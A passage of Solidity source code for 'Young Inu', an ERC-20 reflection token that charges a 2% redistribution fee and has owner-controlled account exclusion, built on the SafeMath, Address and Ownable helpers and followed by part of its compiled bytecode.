Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract YoungInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Young Inu'; string private _symbol = 'YINU'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a12565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610aeb565b6040518082815260200191505060405180910390f35b61035b610b6f565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b86565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c39565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf7565b6040518082815260200191505060405180910390f35b610486610de2565b005b610490610f68565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f91565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611033565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611100565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111e565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611174565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fb565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611515565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611720565b005b60006107af611aaa565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132e9602c913960400191505060405180910390fd5b600061085f83611ab2565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0a90919063ffffffff16565b60068190555061092a83600754611b5490919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aaa565b8484611bdc565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b6000610a1f848484611dd3565b610ae084610a2b611aaa565b610adb8560405180606001604052806028815260200161324f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a91611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b600190509392505050565b6000600654821115610b48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131bc602a913960400191505060405180910390fd5b6000610b526122ec565b9050610b67818461231790919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2f610b93611aaa565b84610c2a8560036000610ba4611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b611bdc565b6001905092915050565b60006a52b7d2dcc80cd2e4000000831115610cbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cdb576000610ccc84611ab2565b50505050905080915050610cf1565b6000610ce684611ab2565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d9257600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ddd565b610dda600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b90505b919050565b610dea611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110295780601f10610ffe57610100808354040283529160200191611029565b820191906000526020600020905b81548152906001019060200180831161100c57829003601f168201915b5050505050905090565b60006110f6611040611aaa565b846110f185604051806060016040528060258152602001613315602591396003600061106a611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b6001905092915050565b600061111461110d611aaa565b8484611dd3565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611203611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561145757611413600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61151d611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131e66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611728611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa6578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118db57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a995760056001600580549050038154811061193757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196f57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5f57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa6565b80806001019150506118aa565b5050565b600033905090565b6000806000806000806000611ac688612361565b915091506000611ad46122ec565b90506000806000611ae68c86866123b3565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061222c565b905092915050565b600080828401905083811015611bd2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132c56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061320c6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132a06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131996023913960400191505060405180910390fd5b60008111611f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132776029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fdb5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff057611feb838383612411565b612227565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120935750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a8576120a3838383612664565b612226565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121615761215c8383836128b7565b612225565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122035750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221857612213838383612a75565b612224565b6122238383836128b7565b5b5b5b5b505050565b60008383111582906122d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229e578082015181840152602081019050612283565b50505050905090810190601f1680156122cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f9612d5d565b91509150612310818361231790919063ffffffff16565b9250505090565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613012565b905092915050565b600080600061238d600261237f60648761231790919063ffff